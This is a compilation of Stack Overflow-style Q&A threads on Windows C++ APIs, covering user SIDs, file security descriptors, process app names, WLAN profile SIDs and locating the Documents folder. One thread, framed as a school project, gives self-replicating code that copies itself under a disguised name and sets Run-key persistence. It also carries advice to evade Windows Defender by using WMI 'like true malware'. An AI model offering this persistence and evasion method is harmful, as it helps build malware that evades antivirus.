How to get the logged-on user's SID in Windows - c++

I need to get the string format SID of the logged-on user. I already have the username and am trying to use LookupAccountName to get the SID. This works partly - I do get a SID but it is only a partial match to the user's actual SID.
I do not want the SID of the process owner as the process may be elevated (impersonating), but rather I want the SID of the user who is logged on where the process is running.
The code needs to work with non-elevated privileges.
This is my code so far
LPCTSTR wszAccName = TEXT("hardcoded username for testing");
LPTSTR wszDomainName = (LPTSTR)GlobalAlloc(GPTR, sizeof(TCHAR) * 1024);
DWORD cchDomainName = 1024;
SID_NAME_USE eSidType;
SID sid;
DWORD cbSid = 1024;
if (!LookupAccountName(NULL, wszAccName, &sid, &cbSid, wszDomainName, &cchDomainName, &eSidType)) {
return GetLastError();
}
if (!ConvertSidToStringSid(&sid, &pszSidBuffer)) {
return GetLastError();
}
This yields a SID like "S-1-5-21-1-1234567890-9-1000"
But the user's actual SID is like "S-1-5-21-3214321539-1234567890-2233445522-1000"
(as per the process owner and the registry key under HKEY_USERS).
Note how the SIDs are the same except for the 5th and 7th components, which are only 1 digit each but should be longer.
How do I get the user's actual/complete SID?
Also, I'm a total C/C++ newbie (and the code above is not production quality at all). And I'm using /NODEFAULTLIB in order to avoid linking VC runtimes. Sorry about that.

Your code doesn't provide a properly-sized buffer for the SID returned by LookupAccountName(). This results in stack corruption and undefined behaviour, which might conceivably explain why you're not getting the SID you were expecting. (Although I rather suspect that you're actually passing in the wrong username, or an improperly formatted username.)
Anyway, to fix the most obvious problem, the code should look more like this:
#include <Windows.h>
#include <Sddl.h>
#include <stdio.h>
int main(int argc, char ** argv)
{
LPCTSTR wszAccName = TEXT("domainname\\username");
LPTSTR wszDomainName = (LPTSTR)GlobalAlloc(GPTR, sizeof(TCHAR) * 1024);
DWORD cchDomainName = 1024;
SID_NAME_USE eSidType;
LPTSTR sidstring;
char sid_buffer[1024];
DWORD cbSid = 1024;
SID * sid = (SID *)sid_buffer;
if (!LookupAccountName(NULL, wszAccName, sid_buffer, &cbSid, wszDomainName, &cchDomainName, &eSidType)) {
return GetLastError();
}
if (!ConvertSidToStringSid(sid, &sidstring)) {
return GetLastError();
}
printf("%ws\n", sidstring);
return 0;
}
That's still not the correct way to do it, of course; you are supposed to call LookupAccountName() twice, once to determine the buffer length and then a second time to retrieve the actual information. But it demonstrates what you've done wrong, and is good enough for testing purposes.

Related

How to get information about a file for programming on windows

In Linux, we can use the function stat() to get a file info, and use the type st.mode to judge the rights of the file before we can do some operation on it. In windows, I make a lot of attempts, but little help.
At first, I want to use the function GetSecurityInfo, but I can't get the handle argument. I did find some solutions, but they all need use fopen function which is exactly what I want to avoid. Becasue I want to not do anything substantial with the file until I can determine what permissions it has.
Then I try the GetFileSecurityA function, but useless. The following is my code, and I get an error code 998 from getlasterror
void GetFilesInfo(std::string& path)
{
char *path1 = new char[1024];
strcpy(path1, path.c_str());
SECURITY_INFORMATION FLAGS = ATTRIBUTE_SECURITY_INFORMATION;
PSECURITY_DESCRIPTOR file_security_descriptor = new char[1024];
LPDWORD minNeedWords = 0;
if(GetFileSecurityA(path1, FLAGS, file_security_descriptor, 1024, minNeedWords) == 0)
error_die("GetFileInfo");
else
std::cout << file_security_descriptor << std::endl;
}
The answer is as previous comments said. I answered the question for completion.
#include <Windows.h>
void main()
{
TCHAR FileName[] = {L"C:\\Users\\Path\\To\\FileName.extension" };
DWORD LengthNeeded = 0;
SECURITY_DESCRIPTOR* sp = (SECURITY_DESCRIPTOR*) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,100);
BOOL rs = GetFileSecurity(FileName, ATTRIBUTE_SECURITY_INFORMATION, sp,100,&LengthNeeded);
if (!rs)
{
DWORD e = GetLastError();
//return;
}
HeapFree(GetProcessHeap(), 0,sp);
}

Avoid Antivirus detection C++

For a school project, I'm developing a tiny malware that replicate itself and autorun with reg keys.
I want my program to set a reg key to autorun but when I do it Windows defender detect the RegSetValueExA function from windows.h. I also want my program to execute without administrator privilege.
My teacher told me that it's possible to avoid the detection. I have to detect when WD look at my program and tell it to stop/sleep while WD perform the scan. He also told me that it's possible to disable WD with powershell. But I don't really know how to it.
Here's the code that triggers Windows Defender:
void Victim::replicateNpersist()
{
char filename[ MAX_PATH ];
// Declaration of the directory that contain the malware
string Dir = "C:\\Users\\"+string(c_user)+"\\AppData\\Local\\WeatherChannel";
int LDir = Dir.length();
char dirPath[LDir+1];
strcpy(dirPath, Dir.c_str());
// Declaration of the object to copy
string Dest = "C:\\Users\\"+c_user+"\\AppData\\Local\\WeatherChannel\\Weather.exe";
int LDest = Dest.length();
char newLocation[LDest+1];
strcpy(newLocation,Dest.c_str());
// Creation of directory
CreateDirectoryA(dirPath, NULL);
BOOL stats=0;
DWORD size = GetModuleFileNameA(NULL, filename, MAX_PATH);
CopyFileA(filename, newLocation, stats);
// Persistence
HKEY hKey;
LPCSTR keyPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
LONG lnRes = RegOpenKeyExA(HKEY_CURRENT_USER, keyPath,0,KEY_WRITE,&hKey);
if(lnRes == ERROR_SUCCESS) {
RegSetValueExA(hKey,"Weather.exe", 0, REG_SZ,(LPBYTE)newLocation,strlen(newLocation)+1);
}
}
Try to create your registry key in another manner. Like a lot of true malware, you can try to use StdRegProv class through WMI :
Getting value from an OUT parameter in WMI in C++
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf

C++ Win32 - Getting App Name using PID and Executable Path

I'd like to get the name of an application on Windows.
Currently I'm using EnumProcesses() to enumerate all processes and receive a list of PIDs.
Then I'm looping through all PIDs, each iteration looks like this, when aProcess[i] is the current PID:
HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, aProcesses[i]);
std::string processName = get_process_name(proc);
My get_process_name(proc) function uses GetModuleFileNameEx to get the executable path and GetProcessImageFileName in order to retrieve the name of the executable file.
What I want to retrieve is basically the App Name, as it is displayed in the Windows Task Manager.
I've looked throughout Win32 API's documentation and could not find a clue on how to achieve this.
I've tried looking for other ways such as Windows Shell tasklist but it outputs different things, for example- Google Chrome:
Image Name: chrome.exe PID: 84 Session Name: Console
I'd really appreciate any thought on the matter, whether it be the Win32 API or some other way I can implement through C++ code.
You can do this with GetFileVersionInfoA and VerQueryValueA.
You just need to follow the example given in the VerQueryValueA document.
Here is my sample:
struct LANGANDCODEPAGE {
WORD wLanguage;
WORD wCodePage;
} *lpTranslate;
int main()
{
HANDLE handle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION , FALSE, 2140); //Modify pid to the pid of your application
if (!handle) return 0;
wchar_t pszFile[MAX_PATH] = L"";
DWORD len = MAX_PATH;
QueryFullProcessImageName(handle, 0, pszFile, &len);
UINT dwBytes, cbTranslate;
DWORD dwSize = GetFileVersionInfoSize(pszFile, (DWORD*)&dwBytes);
if (dwSize == 0) return 0;
LPVOID lpData = (LPVOID)malloc(dwSize);
ZeroMemory(lpData, dwSize);
if (GetFileVersionInfo(pszFile, 0, dwSize, lpData))
{
VerQueryValue(lpData,
L"\\VarFileInfo\\Translation",
(LPVOID*)&lpTranslate,
&cbTranslate);
wchar_t strSubBlock[MAX_PATH] = { 0 };
wchar_t* lpBuffer;
for (int i = 0; i < (cbTranslate / sizeof(struct LANGANDCODEPAGE)); i++)
{
StringCchPrintf(strSubBlock,50,
L"\\StringFileInfo\\%04x%04x\\FileDescription",
lpTranslate[i].wLanguage,
lpTranslate[i].wCodePage);
VerQueryValue(lpData,
strSubBlock,
(void**)&lpBuffer,
&dwBytes);
std::wcout << lpBuffer << std::endl;
}
}
if(lpData) free(lpData);
if (handle) CloseHandle(handle);
return 0;
}
And it works for me:
I think what you want are the "version" resources embedded in the PE file (the executables.)
You seem to be familiar with using Win32 API, so I'm just going to give you some hints.
You have to use LoadLibraryEx to load the EXE file (the Ex suffix is to enable passing the LOAD_LIBRARY_AS_DATAFILE flag,) and then call EnumResourceTypes (also see EnumResourceNames) to enumerate all the resource types/resources in the file, and find what you are looking for and then extract the data with LoadResource. The resource type you want is RT_VERSION.
I'm sure I'm omitting a lot of details (as per usual for Win32 programming,) and there might not be a need for enumeration at all; in which case you may want to call FindResource or FindResourceEx directly (if there is a fixed name for this particular resource.)
As further clarification, this gives you the date you see if you right-click on the EXE file (not the shortcut) in Windows Explorer and select "Properties", then go to the "Details" tab. If that information is indeed what you want (e.g. the "File description" field) then the above method should give you the data.

LookupAccountName Always Fails With Error 122 (ERROR_INSUFFICIENT_BUFFER)

Perhaps somebody can enlighten me here.
I'm attempting to automate a WiFi connection process where the SSID is determined by a serial number. Since this is always different, I figured I need to save a temporary profile each time I wish to connect.
WlanSaveTemporaryProfile() wants a LPCWSTR strAllUserProfileSecurity to define permissions for this profile. So far the rabbit hole has led me to try using LookupAccountNameW(). I have tried to AllocateAndInitializeSid() to no avail. I tried plugging in an empty buffer with the same result. In both cases, I get an error 122, which says the buffer was too small.
Any aid here is sincerely appreciated.
Here's the relevant code. Mostly constructed from examples in Microsoft's documentation.
DWORD GetStringSecurityDescriptor(
PWCHAR ps_securityDescriptor, /* This needs to be populated when this function completes. */
PULONG pul_securityDescriptorLen,
LPWSTR ps_accountName
)
{
DWORD dw_result = NULL;
DWORD dw_lastError = NULL;
DWORD dw_bufferSizeOfUserAccount = NULL;
/* Create a security descriptor for the profile. */
SECURITY_DESCRIPTOR secDesc;
bool success = InitializeSecurityDescriptor(&secDesc, SECURITY_DESCRIPTOR_REVISION);
if (!success)
{
wprintf(L"Security Descriptor Initialization Failed.\n");
}
PSID p_userSid = NULL;
/* Attempt 2: Straight up malloc the memory. Doesn't work any better.*/
//p_userSid = malloc(100);
/* Attempt 1: Allocate and Initialize an SID for LookupAccountNameW(). */
SID_IDENTIFIER_AUTHORITY auth = SECURITY_WORLD_SID_AUTHORITY;
BOOL b_sidReady = AllocateAndInitializeSid(
&auth,
6,
SECURITY_NULL_RID,
SECURITY_WORLD_RID,
SECURITY_LOCAL_RID,
SECURITY_LOCAL_LOGON_RID,
SECURITY_CREATOR_OWNER_RID,
SECURITY_CREATOR_GROUP_RID,
0, 0,
&p_userSid
);
LPDWORD buf = &dw_bufferSizeOfUserAccount;
WCHAR domainName[1000] = { 0 }; // Perhaps DNLEN + 1 was too small?
DWORD domainNameLen = 1000;
SID_NAME_USE use = SidTypeUser;
// Currently failing. dw_bufferSizeOfUserAccount still recieves a 28, so that wasn't it.
success = LookupAccountNameW(
NULL,
ps_accountName,
p_userSid,
buf,
domainName,
&domainNameLen,
&use);
if (!success)
{
dw_lastError = GetLastError();
switch (dw_lastError)
{
case ERROR_INSUFFICIENT_BUFFER: // LookupAccountNameW() always ends up here.
wprintf(L"The data area passed to a system call is too small.\n");
FreeSid(p_userSid);
return dw_lastError;
default:
wprintf(L"Looking up Account Name failed. See Error 0x%x.\n", dw_lastError);
FreeSid(p_userSid);
return dw_lastError;
}
}
// ... more code irrelevant to this problem...
}
Great thanks to Georgy Firsov!
I missed a statement in the documentation.
By calculating the size of the SID and storing it in dw_bufferSizeOfUserAccount, the function ran successfully.
dw_bufferSizeOfUserAccount = GetLengthSid(p_userSid);

Get Document Directory

I'm working on a little singleplayer cheat for a game and am planning on making it public, I have written the API and it all works well but I want to save the data that the user enters to a .ini file so that they will only have to log in one time unless their credentials change. I have done this and it works with a relative path C:\Users\Name\Documents\Cheat\Authorise.ini Although When check the result, it doesn't seem to save nor read the data in the file.
I'm wondering if there is a better way to get the Documents Directory.
Function:
std::string authFile = "C:\\Users\\%USERNAME%\\Documents\\Cheats\\Authorise.ini";
std::string username = GUI::Files::ReadStringFromIni(authFile, "Login", "Username");
std::string password = GUI::Files::ReadStringFromIni(authFile, "Login", "Password");`
Since you're on Windows, you should use the Windows API call available for this very purpose in <ShlObj.h> called SHGetKnownFolderPath. Note that you had best use a std::wstring instead for this purpose, since there is no variant of SHGetKnownFolderPath that accepts an MBCS or ANSI string. Also, this will get you the entire path to the user's profile directory, not just the username.
PWSTR path;
SHGetKnownFolderPath(FOLDERID_Documents, KF_FLAG_DEFAULT, NULL, &path);
std::wstring strpath(path);
CoTaskMemFree(path);
Also, once you're done with path, free it with CoTaskMemFree.
Different versions of Windows store user profiles in different locations, and even the default name of the Documents folder can differ. In fact, the name and location of the user's Documents folder is fully customizable by the user, and may not even be located under the user's profile at all. So, you should not assume the Documents folder is always located at C:\\Users\\%USERNAME%\\Documents.
The best way to get the correct path to a user's Documents folder on all versions of Windows is to simply ask Windows itself. Use SHGetFolderPath(CSIDL_MYDOCUMENTS) (pre-Vista) or SHGetKnownFolderPath(FOLDERID_Documents) (Vista+) for that, eg:
#include <shlobj.h>
#include <shlwapi.h>
std::string GetDocumentsFolder()
{
std::string path;
char szPath[MAX_PATH+1] = {};
if (SHGetFolderPathA(NULL, CSIDL_MYDOCUMENTS, NULL, SHGFP_TYPE_CURRENT, szPath) == S_OK)
path = PathAddBackslashA(szPath);
/*
PWSTR pPath = NULL;
if (SHGetKnownFolderPath(FOLDERID_Documents, KF_FLAG_DEFAULT, NULL, &pPath) == S_OK)
{
int wlen = lstrlenW(pPath);
int len = WideCharToMultiByte(CP_ACP, 0, pPath, wlen, NULL, 0, NULL, NULL);
if (len > 0)
{
path.resize(len+1);
WideCharToMultiByte(CP_ACP, 0, pPath, wlen, &path[0], len, NULL, NULL);
path[len] = '\\';
}
CoTaskMemFree(pPath);
}
*/
return path;
}
std::string GetAuthFilePath()
{
std::string path = GetDocumentsFolder();
if (!path.empty())
path += "Cheats\\Authorise.ini";
return path;
}
std::string authFile = GetAuthFilePath();
...